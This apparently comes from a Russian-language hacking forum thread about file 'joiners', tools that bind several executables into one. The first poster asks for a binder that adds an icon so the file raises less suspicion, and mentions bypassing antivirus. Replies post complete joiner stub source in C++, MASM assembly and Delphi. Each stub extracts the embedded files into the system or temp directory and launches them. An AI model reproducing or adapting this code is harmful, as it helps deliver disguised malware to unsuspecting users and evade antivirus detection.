Каким склеивателем можна воспользоватса дабы на конечный набор файлов можна было поцепить иконку (чтобы возникало меньше подозрений)??? А то пользуюсь Super Glue32 а он иконки не цыпляет ...
На каком принципе создаються joiner-ы,есть ли у кого нибудь исходные коды joiner-а,желательно на языке C или C++. Спасибо за внимание.
Всякие джойнеры меняют сигнатуру и многие антивирусы выдают ложные тревоги. Лучше менять/ставить иконку с помощю: Restorator 2007
Надеюсь понимате,что вы мне никак не помогли. Я хотел принцип склеивания фаилов,насчет антивирусов мне это известно и так же известно что обоити их не трудно.
С++ Code: #include "windows.h" #pragma comment(linker,"/SECTION:.text,EWR") #pragma comment(linker,"/ENTRY:WinMain") int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){ //---------------------------------------------- char sys[260]; char file[260]; char* nfile =(char*)GlobalAlloc(NULL,1024*1024*50); // мах размер для клеющегося файла - 50мб char* ofile = (char*)GlobalAlloc(NULL,1024*1024*100); //100мб под наш файл DWORD dw , dw1,dw2,dwBytesRead; DWORD x ,y,c; x=0; y=0; c=0; char temp[260]; HANDLE hFile1; //------------------------------------------------------- GetSystemDirectory(sys,260); GetModuleFileName(NULL, file , 260); HANDLE hFile = CreateFile(file,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); dw1= GetFileSize(hFile,&dw); ReadFile(hFile,ofile,dw1 ,&dwBytesRead, NULL); for(DWORD z=0;z<=dw1;z++){ x=z; if(ofile[x]=='_'){ //_1 - разделитель x++; if(ofile[x]=='1'){ wsprintf(temp,"%s\\%d.exe",sys,x); x++; y=0; while(1){ nfile[y]=ofile[x]; if(ofile[x]=='_'){ c=x+1; if(ofile[c]=='1'){ break; } } x++; y++; } hFile1 = CreateFile(temp,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hFile1,nfile,y+1,&dw2,NULL); CloseHandle(hFile1); WinExec(temp,SW_SHOW); } } } return 0; } Asm Code: .386 .model flat,stdcall option casemap:none include ../INCLUDE/WINDOWS.inc include ../INCLUDE/kernel32.inc include ../INCLUDE/user32.inc includelib ../LIB/kernel32.lib includelib ../LIB/user32.lib .data .data? sys byte <260> file byte <260> temp byte <260> nfile byte <1024*1024*50> ofile byte <1024*1024*100> .const .code Main PROC LOCAL dw3:DWORD , dw1:DWORD , dw2:DWORD , dwb:DWORD ,x1:DWORD , y1:DWORD ,c1:DWORD, hFile:HANDLE , hFile1:HANDLE ;---------------------------------------------------------------------------------------------------------- invoke GetSystemDirectory , addr sys , 260 invoke GetModuleFileName , NULL , addr file , 260 ;----------------------------------------------------------------------------------------------------------- mov x1 , 0 mov y1, 0 mov c1,0 ;------------------------------------------------------------------------------------------------------------ invoke CreateFile , addr file , GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL mov hFile , eax invoke GetFileSize , hFile , addr dw3 mov dw1 , eax invoke ReadFile , hFile , addr ofile , dw1 , addr dwb,NULL ;------------------------------------------------------------------------------------------------------------ mov ebx ,0 .WHILE ebx <= dw1 mov x1 , ebx .IF ofile[x1] == '_' inc x1 .if ofile[x1] == '1' invoke lstrcat , addr temp ,addr sys invoke lstrcat , addr temp , '\\' invoke lstrcat , addr temp , x1 invoke lstrcat , addr temp , '.exe' inc x1 mov y1 , 0 mov edi , 0 ;--------------------------------------------------------------------------------------------------------------------------- .WHILE edi == 0 mov AL , ofile[x1] mov nfile[y1] , AL .if ofile[x1] == '_' mov eax , x1 inc eax .if ofile[eax] == '1' mov edi ,1 .endif .endif inc x1 inc y1 .endw ;-------------------------------------------------------------------------------------------------------------------------------------- invoke CreateFile , addr temp , GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_NEW ,FILE_ATTRIBUTE_NORMAL,NULL mov hFile1 , eax inc y1 invoke WriteFile , hFile1 , addr nfile , y1 , dw2, NULL invoke CloseHandle , hFile1 invoke WinExec , addr temp , SW_SHOW .ENDIF .ENDIF inc ebx mov edi ,0 .while edi<=260 mov temp[edi],NULL inc edi .endw .ENDW ;------------------------------------------------------------------------------------------------------------------------------------ invoke CloseHandle , hFile1 invoke ExitProcess , NULL Main ENDP end Main
http://www.delphiexpert.ru/view_download.php?id=28 http://pblog.ru/?p=80 http://forum.antichat.ru/threadnav32191-5-10-Delphi.html
program Demo; uses SysUtils, Classes, windows, ShellAPI; type dm = record File1 : Int64; File2 : Int64; File1_E : string[6]; File2_E : string[6]; end; const appsize = 40448; // размер упаковщика (После компиляции проверь и измени!!!) headersize = 32; // размер заголовка var F1, // First File F2, // Second File F3, // Header File F4 : TFileStream; //Main file d : Dm; f : file of dm; function windir : string; var pWindowsDir : array [0..255] of Char; begin try GetWindowsDirectory (pWindowsDir, 255); Result := StrPas (pWindowsDir) + '\temp\'; except end; end; begin CopyFileEx(pchar(paramstr(0)),pchar(windir+'demo.dat'),nil,nil,0,0); //Копируем наш файл в другое место F4:=TFileStream.Create(windir+'demo.dat',fmOpenRead); // Открываем наш файл F4.Seek(F4.Size-headersize,0); F3:=TFileStream.Create(windir+'Header.dat',fmOpenWrite or fmCreate); // \ F3.CopyFrom(F4,headersize); // |> копируем заголовочный файл с размерами файлов в нутри нашего файла %) F3.Free; // / AssignFile(f,windir+'header.dat'); // Открываем файл reset(f); // заголовка Read(F,d); // и читаем из него Closefile(F); // наши данные F4.Seek(appsize,0); // переходим в позицию после упаковщика F1:=TFileStream.create(windir+'f1'+d.File1_E,fmOpenWrite or fmCreate); // F1.CopyFrom(F4,d.File1); // сохраняем 1-ый файл на диске F1.Free; // F4.Seek(appsize+d.File1,0); // переходим в позицию после упаковщика + размер первого файла F2:=TFileStream.create(windir+'f2'+d.File1_E,fmOpenWrite or fmCreate); // F2.CopyFrom(F4,d.File2); // сохраняем 2-ой файл на диске F2.Free; // try DeleteFile(PCHAR(windir+'demo.dat')); DeleteFile(PCHAR(windir+'Header.dat')); except end; ShellExecute(0,'open',pchar(windir+'f1'+d.File1_E),'','c:\',SW_NORMAL); ShellExecute(0,'open',pchar(windir+'f2'+d.File1_E),'','c:\',SW_NORMAL); F4.Free; // Закоываем конечный файл end. вот на делфи